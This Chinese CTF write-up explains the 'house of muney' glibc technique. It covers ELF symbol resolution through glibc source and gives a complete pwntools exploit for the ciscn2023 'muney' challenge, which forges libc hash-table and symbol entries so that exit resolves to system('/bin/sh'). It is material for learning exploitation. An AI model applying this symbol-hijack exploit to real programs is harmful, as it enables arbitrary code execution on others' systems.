house_of_muney

文章发布时间:

最后更新时间:

[前置]
[glibc源码调试]
该手段需配合glibc的源码分析,先存一个glibc源码的调试配置

具体glibc的编译可以参考前面的文,注意一下glibc-all-in-one下载的东西貌似不能直接用,可以在这里下载:https://ftp.gnu.org/gnu/glibc/

可以按以下脚本启动,需要注意dir指定的目录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
context(os='linux', arch='amd64', log_level='debug',endian="little")

p = process(["/home/str1k3/Desktop/glibc-2.31/glibc-2.31/build/elf/ld.so","./a.out"],env={"LD_PRELOAD":"./libc-2.31.so"})

def debug(s=''):
gdb.attach(p, s)
pause()

cmd = """
dir /home/str1k3/Desktop/glibc-2.31/glibc-2.31/elf
"""

debug(cmd)
p.interactive()

效果如下

[ELF]
以简单的程序看看ELF文件的解析过程

1
2
3
4
5
6
7
8
9
10
11
//gcc sys1.c -fno-pie -g -o sys1
#include <stdio.h>
#include <stdlib.h>

int main(){
char *buff;
read(0,buff,0x15);//为了让程序长一点好下断点
system("/bin/sh");
return 0;
}

组成 elf 文件的基本单位是 section,可以翻译为节。elf 头会定义节头表,节头表中定义了节的数量、每个节的类型、起始的虚拟地址。与动态链接相关的节为.dynamic 节,这里面存储这与动态链接相关的描述信息。


这里的.dynamic节实际上是一个数组,其中的每一个元素都表示其对应的结构体:

1
2
3
4
5
6
7
8
9
typedef struct
{
Elf64_Sxword d_tag; /* Dynamic entry type */
union
{
Elf64_Xword d_val; /* Integer value */
Elf64_Addr d_ptr; /* Address value */
} d_un;
} Elf64_Dyn;

tag表示的是该元素(节)的类型,如readelf的结果中的

1
2
0x0000000000000005 (STRTAB)             0x400438
0x0000000000000006 (SYMTAB) 0x4003c0

则这俩元素的类型分别为STRTAB和SYMTAB。而符号解析与STRTAB和SYMTAB相关。

STRTAB是字符串表,存储的是整个程序所需要用到的所有字符。SYMTAB则是符号表,其数据结构如下:

1
2
3
4
5
6
7
8
9
typedef struct
{
Elf64_Word st_name; /* Symbol name (string tbl index) */
unsigned char st_info; /* Symbol type and binding */
unsigned char st_other; /* Symbol visibility */
Elf64_Section st_shndx; /* Section index */
Elf64_Addr st_value; /* Symbol value */
Elf64_Xword st_size; /* Symbol size */
} Elf64_Sym;

st_name表示这个符号所描述的字符串在字符串表中的下标。st_value表示符号的值。而当符号是一个函数或者变量的时候,这个值就代表符号的虚拟地址

那么,我们如果能篡改st_name和st_value,就能将某一函数劫持为另一函数,造成代码执行

STRTAB和SYMTAB实现了符号的寻找,但是还需要用重定位表来描述那些符号需要重定位

重定位表的数据结构为:

1
2
3
4
5
typedef struct
{
Elf64_Addr r_offset; /* Address */
Elf64_Xword r_info; /* Relocation type and symbol index */
} Elf64_Rel;

一般在查找动态符号的时候,r_offset代表对应符号在 got 表中的地址,即我们平时使用的

1
elf.got['function']

拿到的地址
r_info低 32 位表示重定位入口的类型,高 32 位表示这个重定位符号在符号表中的下标。

plt表和got表的事儿在玩格式化字符串和ret2libc的时候就搞过了,基本上就是plt表跳转到got表,若是第一次调用该函数,则解析该函数的地址,填入到got表内,之后每次调用就直接使用真实地址进行跳转

看一下第一次调用时执行的指令

1
2
3
push n
push ModuleID
jmp _dl_runtime_resolve

这里的 n 对应的是该符号在 rel.plt 重定位表中的下标
ModuleID一般是程序的linkmap结构体的地址
接下来跳到_dl_runtime_resolve,看一手

_dl_runtime_resolve_xsavec.先保护了一波现场,再call了dl_fixup,看看dl_fixup(dl-runtime.c,line 52)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
/* This function is called through a special trampoline from the PLT the first time each PLT entry is called.  We must perform the relocation specified in the PLT of the given shared object, and return the resolved function address to the trampoline, which will restart the original call to that address.Future calls will bounce directly from the PLT to the
function. */

DL_FIXUP_VALUE_TYPE
attribute_hidden __attribute ((noinline)) ARCH_FIXUP_ATTRIBUTE
_dl_fixup (
# ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS
ELF_MACHINE_RUNTIME_FIXUP_ARGS,
# endif
struct link_map *l, ElfW(Word) reloc_arg)
{
const ElfW(Sym) *const symtab
= (const void *) D_PTR (l, l_info[DT_SYMTAB]);
const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);

const PLTREL *const reloc
= (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
const ElfW(Sym) *refsym = sym;
void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);
lookup_t result;
DL_FIXUP_VALUE_TYPE value;

/* Sanity check that we're really looking at a PLT relocation. */
assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);

/* Look up the target symbol. If the normal lookup rules are not
used don't look in the global scope. */
if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)
{
const struct r_found_version *version = NULL;

if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
{
const ElfW(Half) *vernum =
(const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
version = &l->l_versions[ndx];
if (version->hash == 0)
version = NULL;
}

/* We need to keep the scope around so do some locking. This is
not necessary for objects which cannot be unloaded or when
we are not using any threads (yet). */
int flags = DL_LOOKUP_ADD_DEPENDENCY;
if (!RTLD_SINGLE_THREAD_P)
{
THREAD_GSCOPE_SET_FLAG ();
flags |= DL_LOOKUP_GSCOPE_LOCK;
}

#ifdef RTLD_ENABLE_FOREIGN_CALL
RTLD_ENABLE_FOREIGN_CALL;
#endif

result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
version, ELF_RTYPE_CLASS_PLT, flags, NULL);

/* We are done with the global scope. */
if (!RTLD_SINGLE_THREAD_P)
THREAD_GSCOPE_RESET_FLAG ();

#ifdef RTLD_FINALIZE_FOREIGN_CALL
RTLD_FINALIZE_FOREIGN_CALL;
#endif

/* Currently result contains the base load address (or link map)
of the object that defines sym. Now add in the symbol
offset. */
value = DL_FIXUP_MAKE_VALUE (result,
SYMBOL_ADDRESS (result, sym, false));
}
else
{
/* We already found the symbol. The module (and therefore its load
address) is also known. */
value = DL_FIXUP_MAKE_VALUE (l, SYMBOL_ADDRESS (l, sym, true));
result = l;
}

/* And now perhaps the relocation addend. */
value = elf_machine_plt_value (l, reloc, value);

if (sym != NULL
&& __builtin_expect (ELFW(ST_TYPE) (sym->st_info) == STT_GNU_IFUNC, 0))
value = elf_ifunc_invoke (DL_FIXUP_VALUE_ADDR (value));

/* Finally, fix up the plt itself. */
if (__glibc_unlikely (GLRO(dl_bind_not)))
return value;

return elf_machine_fixup_plt (l, result, refsym, sym, reloc, rel_addr, value);
}

其中调用了_dl_lookup_symbol_x来寻找符号,实际调用了do_lookup_x,这个函数在dl-lookup.c,line358

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
/* Inner part of the lookup functions.  We return a value > 0 if we
found the symbol, the value 0 if nothing is found and < 0 if
something bad happened. */

static int
__attribute_noinline__
do_lookup_x (const char *undef_name, uint_fast32_t new_hash,
unsigned long int *old_hash, const ElfW(Sym) *ref,
struct sym_val *result, struct r_scope_elem *scope, size_t i,
const struct r_found_version *const version, int flags,
struct link_map *skip, int type_class, struct link_map *undef_map)
{
size_t n = scope->r_nlist;
/* Make sure we read the value before proceeding. Otherwise we
might use r_list pointing to the initial scope and r_nlist being
the value after a resize. That is the only path in dl-open.c not
protected by GSCOPE. A read barrier here might be to expensive. */
__asm volatile ("" : "+r" (n), "+m" (scope->r_list));
struct link_map **list = scope->r_list;

do
{
const struct link_map *map = list[i]->l_real;

/* Here come the extra test needed for `_dl_lookup_symbol_skip'. */
if (map == skip)
continue;

/* Don't search the executable when resolving a copy reloc. */
if ((type_class & ELF_RTYPE_CLASS_COPY) && map->l_type == lt_executable)
continue;

/* Do not look into objects which are going to be removed. */
if (map->l_removed)
continue;

/* Print some debugging info if wanted. */
if (__glibc_unlikely (GLRO(dl_debug_mask) & DL_DEBUG_SYMBOLS))
_dl_debug_printf ("symbol=%s; lookup in file=%s [%lu]\n",
undef_name, DSO_FILENAME (map->l_name),
map->l_ns);

/* If the hash table is empty there is nothing to do here. */
if (map->l_nbuckets == 0)
continue;

Elf_Symndx symidx;
int num_versions = 0;
const ElfW(Sym) *versioned_sym = NULL;

/* The tables for this map. */
const ElfW(Sym) *symtab = (const void *) D_PTR (map, l_info[DT_SYMTAB]);
const char *strtab = (const void *) D_PTR (map, l_info[DT_STRTAB]);

const ElfW(Sym) *sym;
const ElfW(Addr) *bitmask = map->l_gnu_bitmask;
if (__glibc_likely (bitmask != NULL))
{
//获取bitmask_word
ElfW(Addr) bitmask_word
= bitmask[(new_hash / __ELF_NATIVE_CLASS)
& map->l_gnu_bitmask_idxbits];

unsigned int hashbit1 = new_hash & (__ELF_NATIVE_CLASS - 1);
unsigned int hashbit2 = ((new_hash >> map->l_gnu_shift)
& (__ELF_NATIVE_CLASS - 1));

if (__glibc_unlikely ((bitmask_word >> hashbit1)
& (bitmask_word >> hashbit2) & 1))
{
//获取bucket
Elf32_Word bucket = map->l_gnu_buckets[new_hash
% map->l_nbuckets];
if (bucket != 0)
{
//hasharr
const Elf32_Word *hasharr = &map->l_gnu_chain_zero[bucket];

do
if (((*hasharr ^ new_hash) >> 1) == 0)
{
symidx = ELF_MACHINE_HASH_SYMIDX (map, hasharr);
sym = check_match (undef_name, ref, version, flags,
type_class, &symtab[symidx], symidx,
strtab, map, &versioned_sym,
&num_versions);
if (sym != NULL)
goto found_it;
}
while ((*hasharr++ & 1u) == 0);
}
}
/* No symbol found. */
symidx = SHN_UNDEF;
}
else
{
if (*old_hash == 0xffffffff)
*old_hash = _dl_elf_hash (undef_name);

/* Use the old SysV-style hash table. Search the appropriate
hash bucket in this object's symbol table for a definition
for the same symbol name. */
for (symidx = map->l_buckets[*old_hash % map->l_nbuckets];
symidx != STN_UNDEF;
symidx = map->l_chain[symidx])
{
sym = check_match (undef_name, ref, version, flags,
type_class, &symtab[symidx], symidx,
strtab, map, &versioned_sym,
&num_versions);
if (sym != NULL)
goto found_it;
}
}

/* If we have seen exactly one versioned symbol while we are
looking for an unversioned symbol and the version is not the
default version we still accept this symbol since there are
no possible ambiguities. */
sym = num_versions == 1 ? versioned_sym : NULL;

if (sym != NULL)
{
found_it:
/* When UNDEF_MAP is NULL, which indicates we are called from
do_lookup_x on relocation against protected data, we skip
the data definion in the executable from copy reloc. */
if (ELF_RTYPE_CLASS_EXTERN_PROTECTED_DATA
&& undef_map == NULL
&& map->l_type == lt_executable
&& type_class == ELF_RTYPE_CLASS_EXTERN_PROTECTED_DATA)
{
const ElfW(Sym) *s;
unsigned int i;

#if ! ELF_MACHINE_NO_RELA
if (map->l_info[DT_RELA] != NULL
&& map->l_info[DT_RELASZ] != NULL
&& map->l_info[DT_RELASZ]->d_un.d_val != 0)
{
const ElfW(Rela) *rela
= (const ElfW(Rela) *) D_PTR (map, l_info[DT_RELA]);
unsigned int rela_count
= map->l_info[DT_RELASZ]->d_un.d_val / sizeof (*rela);

for (i = 0; i < rela_count; i++, rela++)
if (elf_machine_type_class (ELFW(R_TYPE) (rela->r_info))
== ELF_RTYPE_CLASS_COPY)
{
s = &symtab[ELFW(R_SYM) (rela->r_info)];
if (!strcmp (strtab + s->st_name, undef_name))
goto skip;
}
}
#endif
#if ! ELF_MACHINE_NO_REL
if (map->l_info[DT_REL] != NULL
&& map->l_info[DT_RELSZ] != NULL
&& map->l_info[DT_RELSZ]->d_un.d_val != 0)
{
const ElfW(Rel) *rel
= (const ElfW(Rel) *) D_PTR (map, l_info[DT_REL]);
unsigned int rel_count
= map->l_info[DT_RELSZ]->d_un.d_val / sizeof (*rel);

for (i = 0; i < rel_count; i++, rel++)
if (elf_machine_type_class (ELFW(R_TYPE) (rel->r_info))
== ELF_RTYPE_CLASS_COPY)
{
s = &symtab[ELFW(R_SYM) (rel->r_info)];
if (!strcmp (strtab + s->st_name, undef_name))
goto skip;
}
}
#endif
}

/* Hidden and internal symbols are local, ignore them. */
if (__glibc_unlikely (dl_symbol_visibility_binds_local_p (sym)))
goto skip;

switch (ELFW(ST_BIND) (sym->st_info))
{
case STB_WEAK:
/* Weak definition. Use this value if we don't find another. */
if (__glibc_unlikely (GLRO(dl_dynamic_weak)))
{
if (! result->s)
{
result->s = sym;
result->m = (struct link_map *) map;
}
break;
}
/* FALLTHROUGH */
case STB_GLOBAL:
/* Global definition. Just what we need. */
result->s = sym;
result->m = (struct link_map *) map;
return 1;

case STB_GNU_UNIQUE:;
do_lookup_unique (undef_name, new_hash, (struct link_map *) map,
result, type_class, sym, strtab, ref,
undef_map, flags);
return 1;

default:
/* Local symbols are ignored. */
break;
}
}

skip:
;
}
while (++i < n);

/* We have not found anything until now. */
return 0;
}

static uint_fast32_t
dl_new_hash (const char *s)
{
uint_fast32_t h = 5381;
for (unsigned char c = *s; c != '\0'; c = *++s)
h = h * 33 + c;
return h & 0xffffffff;
}

这个函数就是寻找符号的关键

[house_of_muney]
综上,伪造以下几个值就能劫持解析函数指向我们想要的函数:

1
2
3
4
bitmask_word
bucket
hasharr
target symbol ->st_value

直接上题
[ciscn2023]muney
checksec

进去先找到一波“菜单”

同时看到sub_401376函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
__int64 __fastcall sub_401376(const char *a1, _BYTE *a2, int a3)
{
const char *v4; // rax
const char *v5; // rax
char *v6; // rax
char *v7; // rax
char *v8; // rax
char *v9; // rax
char *v11; // [rsp+18h] [rbp-28h]
char *v12; // [rsp+18h] [rbp-28h]
char *v13; // [rsp+18h] [rbp-28h]
char *v14; // [rsp+18h] [rbp-28h]
char *v15; // [rsp+18h] [rbp-28h]
char *v16; // [rsp+18h] [rbp-28h]
char *v17; // [rsp+18h] [rbp-28h]
char *v18; // [rsp+18h] [rbp-28h]
char *i; // [rsp+18h] [rbp-28h]
char *v20; // [rsp+18h] [rbp-28h]
int v21; // [rsp+20h] [rbp-20h]
_BOOL4 v22; // [rsp+24h] [rbp-1Ch]
int v23; // [rsp+28h] [rbp-18h]
const char **v24; // [rsp+30h] [rbp-10h]

if ( a3 != 1 && a3 != 2 )
return 0xFFFFFFFFLL;
memset(a2, 0, 0x140uLL);
*a2 = a3;
if ( a3 == 1 )
v4 = a1;
else
v4 = 0LL;
*((_QWORD *)a2 + 1) = v4;
if ( a3 == 2 )
v5 = a1;
else
v5 = 0LL;
*((_QWORD *)a2 + 3) = v5;
v11 = strchr(a1, 32);
if ( !v11 )
return 400LL;
*v11 = 0;
v12 = v11 + 1;
v21 = 0;
if ( a3 == 1 )
{
if ( !strcmp("GET", *((const char **)a2 + 1)) )
v21 = 4;
if ( !v21 && !strcmp("HEAD", *((const char **)a2 + 1)) )
v21 = 5;
if ( !v21 && !strcmp("POST", *((const char **)a2 + 1)) )
v21 = 5;
if ( !v21 && !strcmp("PUT", *((const char **)a2 + 1)) )
v21 = 4;
if ( !v21 && !strcmp("DELETE", *((const char **)a2 + 1)) )
v21 = 7;
if ( !v21 && !strcmp("TRACE", *((const char **)a2 + 1)) )
v21 = 6;
if ( !v21 && !strcmp("OPTIONS", *((const char **)a2 + 1)) )
v21 = 8;
if ( !v21 && !strcmp("CONNECT", *((const char **)a2 + 1)) )
v21 = 8;
if ( !v21 && !strcmp("PATCH", *((const char **)a2 + 1)) )
v21 = 6;
if ( !v21 )
return 400LL;
}
else if ( !strcmp("HTTP/1.0", *((const char **)a2 + 3)) && !strcmp("HTTP/1.1", *((const char **)a2 + 3)) )
{
return 400LL;
}
if ( a3 == 1 )
v6 = v12;
else
v6 = 0LL;
*((_QWORD *)a2 + 2) = v6;
if ( a3 == 2 )
v7 = v12;
else
v7 = 0LL;
*((_QWORD *)a2 + 4) = v7;
v13 = strchr(v12, 32);
if ( !v13 )
return 414LL;
*v13 = 0;
v14 = v13 + 1;
if ( a3 == 1 && strchr(*((const char **)a2 + 2), 47) != *((char **)a2 + 2) )
return 400LL;
if ( a3 == 2 && !atoi(*((const char **)a2 + 4)) )
return 400LL;
if ( a3 == 1 )
v8 = v14;
else
v8 = (char *)*((_QWORD *)a2 + 3);
*((_QWORD *)a2 + 3) = v8;
if ( a3 == 2 )
v9 = v14;
else
v9 = 0LL;
*((_QWORD *)a2 + 5) = v9;
v15 = strchr(v14, 10);
if ( !v15 )
return 400LL;
*v15 = 0;
v16 = v15 + 1;
if ( *v16 == 13 )
*v16++ = 0;
if ( a3 == 1 && !strcmp("HTTP/1.0", *((const char **)a2 + 3)) && !strcmp("HTTP/1.1", *((const char **)a2 + 3)) )
return 400LL;
v22 = 0;
v23 = 0;
while ( !*v16 || *v16 != 10 && (*v16 != 13 || v16[1] != 10) )
{
if ( v23 <= 15 )
*(_QWORD *)&a2[16 * v23 + 48] = v16;
v18 = strchr(v16, 58);
if ( !v18 )
return 413LL;
*v18 = 0;
for ( i = v18 + 1; *i && (*i == 32 || *i == 13 || *i == 10 || *i == 9); ++i )
*i = 0;
if ( !*i )
return 413LL;
if ( v23 <= 15 )
*(_QWORD *)&a2[16 * v23 + 56] = i;
v20 = strchr(i, 10);
if ( !v20 )
return 413LL;
*v20 = 0;
v16 = v20 + 1;
if ( *v16 == 13 )
*v16++ = 0;
v24 = (const char **)&a2[16 * v23 + 48];
if ( a3 == 1 )
{
if ( !strcasecmp("Connection", *v24) )
{
if ( *(_BYTE *)(*((_QWORD *)a2 + 3) + 7LL) == 48 && !strcasecmp("Keep-Alive", v24[1]) )
{
a2[313] = 1;
}
else if ( *(_BYTE *)(*((_QWORD *)a2 + 3) + 7LL) == 49 && !strcasecmp("Close", v24[1]) )
{
a2[313] = 0;
}
a2[312] = a2[313] == 0;
}
if ( !strcasecmp("Accept-Encoding", *v24) && strstr(v24[1], "gzip") )
a2[314] = 1;
if ( !strcasecmp("Content-Length", *v24) )
*((_DWORD *)a2 + 79) = atoi(v24[1]);
if ( !v22 )
v22 = strcasecmp("Host", *v24) == 0;
}
++v23;
}
*v16 = 0;
v17 = v16 + 1;
if ( *v17 == 10 )
*v17++ = 0;
if ( a3 != 1 )
goto LABEL_126;
if ( !a2[313] && !a2[312] )
{
a2[313] = *(_BYTE *)(*((_QWORD *)a2 + 3) + 7LL) != 48;
a2[312] = a2[313] == 0;
}
if ( *(_BYTE *)(*((_QWORD *)a2 + 3) + 7LL) == 49 && !v22 )
return 400LL;
LABEL_126:
*((_QWORD *)a2 + 38) = v17;
return 0LL;
}

主要就是对输入的解析,可知要以http请求头的格式来输入,格式如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
def menu(content):
p.sendafter('HTTP_Parser> ', content)

def add(size):
header = f'''POST /create HTTP/1.0
Connection: Keep-Alive
Accept-Encoding: gzip
Size: {size}
Content-Length: {str(0x80)}\n
'''
payload = header + 'a' * 0x80
menu(payload)

def edit(index, offset, length, content):
header = f'''POST /edit HTTP/1.0
Connection: Keep-Alive
Accept-Encoding: gzip
Content-Length: {length}
Idx: {index}
Offset: {offset}\n
'''
payload = header.encode() + content

menu(payload)

def delete(index):
header = f'''POST /delete HTTP/1.0
Connection: Keep-Alive
Accept-Encoding: gzip
Idx: {index}\n
'''
menu(header)

def quit():
header = f'''POST /quit HTTP/1.0
Connection: Keep-Alive
Accept-Encoding: gzip\n
'''

再看到“create”的规则

发现申请的堆块最小为0x100000,因此我们申请的堆块都会走mmap。mmap申请的内存一般位于libc.so.6内存的低地址处。如果可以修改mmap申请的这段内存的size,那么我们再次申请回来就可以覆盖掉libc.so.6的符号表

edit函数里发现了一处漏洞:

这里没有对负数进行检查,edit可以向低地址方向写入数据。

因此,先申请一个堆块,再利用edit中的洞修改其size,free掉该堆块后再次申请它,就能造成任意写

有一处exit(“/bin/sh”)

可以劫持函数解析,将exit解析为system即可实现syste(“/bin/sh”)

接下来去找那几个需要伪造的值的位置

1
2
3
4
bitmask_word
bucket
hasharr
target symbol ->st_value

使用glibc源码级的调试,脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *
from pwn import p64, p32, p16, p8

context.arch = 'amd64'
context.log_level = 'debug'

elf = ELF('./muney')
libc = ELF('./libc-2.31.so')


p = process(["/home/str1k3/Desktop/glibc-2.31/glibc-2.31/build/elf/ld.so","./muney"],env={"LD_PRELOAD":"./libc-2.31.so"})

#p = process(["/home/str1k3/Desktop/glibc-2.31/glibc-2.31/build/elf/ld.so","./sys1"],env={"LD_PRELOAD":"./libc-2.31.so"})
def menu(content):
p.sendafter('HTTP_Parser> ', content)

def debug(s=''):
gdb.attach(p, s)
pause()

def quit():
header = f'''POST /quit HTTP/1.0
Connection: Keep-Alive
Accept-Encoding: gzip\n
'''
menu(header)

cmd = """
dir /home/str1k3/Desktop/glibc-2.31/glibc-2.31/elf
b do_lookup_x
b exit
"""

debug(cmd)

quit()
p.interactive()

这个位置的while (++i < n);需要先过一次

然后开始找那几个值





还需要找到system的st_value和st_name,还是用这个简单的程序

1
2
3
4
5
6
7
8
9
10
11
//gcc sys1.c -fno-pie -g -o sys1
#include <stdio.h>
#include <stdlib.h>

int main(){
char *buff;
read(0,buff,0x15);//为了让程序长一点好下断点
system("/bin/sh");
return 0;
}




exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
from pwn import *
from pwn import p64, p32, p16, p8

context.arch = 'amd64'
context.log_level = 'debug'

elf = ELF('./muney')
libc = ELF('./libc-2.31.so')


p = process(["/home/str1k3/Desktop/glibc-2.31/glibc-2.31/build/elf/ld.so","./muney"],env={"LD_PRELOAD":"./libc-2.31.so"})


def debug(s=''):
gdb.attach(p, s)
pause()


lg = lambda x, y: log.success(f'{x}: {hex(y)}')


def menu(content):
p.sendafter('HTTP_Parser> ', content)


def add(size):
header = f'''POST /create HTTP/1.0
Connection: Keep-Alive
Accept-Encoding: gzip
Size: {size}
Content-Length: {str(0x80)}\n
'''
payload = header + 'a' * 0x80
menu(payload)


def edit(index, offset, length, content):
header = f'''POST /edit HTTP/1.0
Connection: Keep-Alive
Accept-Encoding: gzip
Content-Length: {length}
Idx: {index}
Offset: {offset}\n
'''
payload = header.encode() + content

menu(payload)


def delete(index):
header = f'''POST /delete HTTP/1.0
Connection: Keep-Alive
Accept-Encoding: gzip
Idx: {index}\n
'''
menu(header)


def quit():
header = f'''POST /quit HTTP/1.0
Connection: Keep-Alive
Accept-Encoding: gzip\n
'''
menu(header)


command = """
dir /home/str1k3/Desktop/glibc-2.31/glibc-2.31/build/elf
dir /home/str1k3/Desktop/glibc-2.31/glibc-2.31/elf
dir /home/str1k3/Desktop/glibc-2.31/glibc-2.31/elf/dl-lookup.c
b *0x4021CA
"""

debug(command)

# quit()

bitmask_offset = 0xb88
bucket_offset = 0xcb0
hasharr_offset = 0x1d7c
exit_sym_offset = 0x4d20

bitmask_word = 0xf000028c0200130e
bucket = 0x86
hasharr = 0x7c967e3e7c93f2a0
exit_sym = 0x000f001200002efb

st_value = 0x52290 # system offset libc base

add(0x200000)
edit(0, -8, 3, b'\x02\x10\x21')
delete(0)

add(0x211002)

mmap_offset_libc = 0x201ff0

edit(0, mmap_offset_libc + bitmask_offset, 2, p16(bitmask_word & 0xffff))
edit(0, mmap_offset_libc + bitmask_offset + 3, 2, p16(bitmask_word >> 24 & 0xffff))
edit(0, mmap_offset_libc + bitmask_offset + 5, 1, p16(bitmask_word >> 40 & 0xff))
edit(0, mmap_offset_libc + bitmask_offset + 7, 1, p16(bitmask_word >> 56 & 0xff))

edit(0, mmap_offset_libc + bucket_offset, 1, p8(bucket))

edit(0, mmap_offset_libc + hasharr_offset, 8, p64(hasharr))

edit(0, mmap_offset_libc + exit_sym_offset - 8, 2, p16(exit_sym & 0xffff))
edit(0, mmap_offset_libc + exit_sym_offset - 8 + 4, 1, p8(exit_sym >> 32 & 0xff))
edit(0, mmap_offset_libc + exit_sym_offset - 8 + 6, 1, p8(exit_sym >> 48 & 0xff))

edit(0, mmap_offset_libc + exit_sym_offset, 3, p32(st_value)[:-1])

# dbg()

quit()

p.interactive()